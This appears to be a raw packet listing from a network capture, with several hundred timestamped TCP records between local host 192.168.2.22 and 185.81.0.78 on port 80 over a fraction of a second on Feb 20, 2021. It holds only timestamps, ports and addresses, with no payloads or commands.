Feb 20, 2021 02:03:51.227019072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227025032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227042913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227068901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227072954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227087021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227094889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227116108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227121115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227138042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227144003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227176905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227191925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227216959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227248907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227271080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227271080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227294922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227296114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227313995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227338076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227355003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227361917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227391958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227396011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227406979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227420092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227448940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227468014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227475882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227528095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227575064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227600098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227622032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227632046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227647066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227648020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227663994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227670908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227684975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227729082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227737904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227762938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227797031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227802992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227812052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227827072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.227853060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.227864027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.250750065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.261275053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.261375904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.261410952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.261464119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.261502028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.261547089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.261990070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.262046099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.262058020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.262068987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.262099981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.262111902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.262120962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.262171984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.262173891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.262221098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.262983084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263004065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263025045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263053894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263056040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263068914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263077021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263092995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263665915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263721943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263793945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263816118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263835907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263843060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263854980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263855934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.263869047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.263907909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264141083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264166117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264193058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264204979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264208078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264226913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264246941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264266968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264276981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264281988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264285088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264302969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264322996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264332056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264343977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264357090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.264373064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.264419079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266068935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266130924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266220093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266242981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266262054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266268015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266279936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266283035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266297102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266334057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266429901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266454935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266478062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266493082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266503096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266525030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266546011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266555071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266566038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266598940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266624928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266669035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266697884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266719103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266743898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266756058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266777992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266799927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266824961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266839981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266875029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266920090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.266963959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.266987085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267024994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267044067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267081022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267102957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267134905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267151117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267153025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267173052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267200947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267210960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267213106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267236948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267256975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267257929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267278910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267292023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267364979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267416954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267484903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267505884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267525911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267537117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267558098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267564058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267640114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267661095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267680883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267692089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267704010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267709970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267714024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267738104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267759085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267760038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267781019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267791986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267797947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267801046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267827988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267837048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267852068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267894983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267899036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267920971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267940998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267962933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.267962933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.267983913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268011093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268018961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268022060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268038988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268064022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268074989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268095016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268141985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268260956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268281937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268301964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268306971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268320084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268321991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268346071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268358946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268413067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268433094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268454075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268459082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268471003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268474102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268492937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268496990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268512011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268533945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268541098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268560886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268599033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268599987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268636942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268645048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268708944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268731117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268753052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268757105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268769026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268779993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268795013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268827915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268903017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268924952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268951893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268965006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268973112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.268978119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.268996000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269025087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269097090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269124985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269149065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269150019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269166946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269171000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269193888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269206047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269210100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269232988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269254923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269258976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269272089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269300938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269306898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269329071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269354105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269366980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269368887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269406080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269421101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269428015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269449949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269464016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269471884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269505978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269521952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269540071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269551039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269562960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269589901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269602060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269607067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269630909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269658089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269670963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269680023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269706011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269726992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269728899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269747019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269748926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.269768953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.269794941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284312010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284351110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284394979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284421921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284449100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284459114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284476042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284476995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284481049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284486055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284512043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284524918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284553051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284564018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.284847975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.284900904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285012007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285042048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285068035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285068989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285088062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285115957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285167933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285223007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285223007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285273075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285283089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285334110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285355091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285398960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285404921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285471916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285514116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285543919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285562038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285572052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285599947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285603046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285620928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285640001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285679102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285706043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285727978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285747051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285784960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285811901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.285830975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.285852909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.286084890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286113977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286133051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.286142111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286165953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.286183119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.286887884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286919117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286947012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.286973953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287009001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287034035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287041903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287050962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287080050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287094116 CET	49165	80	192.168.2.22	185.81.0.78
